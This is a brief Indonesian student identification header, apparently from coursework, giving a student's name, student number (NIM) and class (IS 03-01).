    Nama  : Yudha Ardi Firmansah

    NIM    : 1204200083

    Kelas  : IS 03-01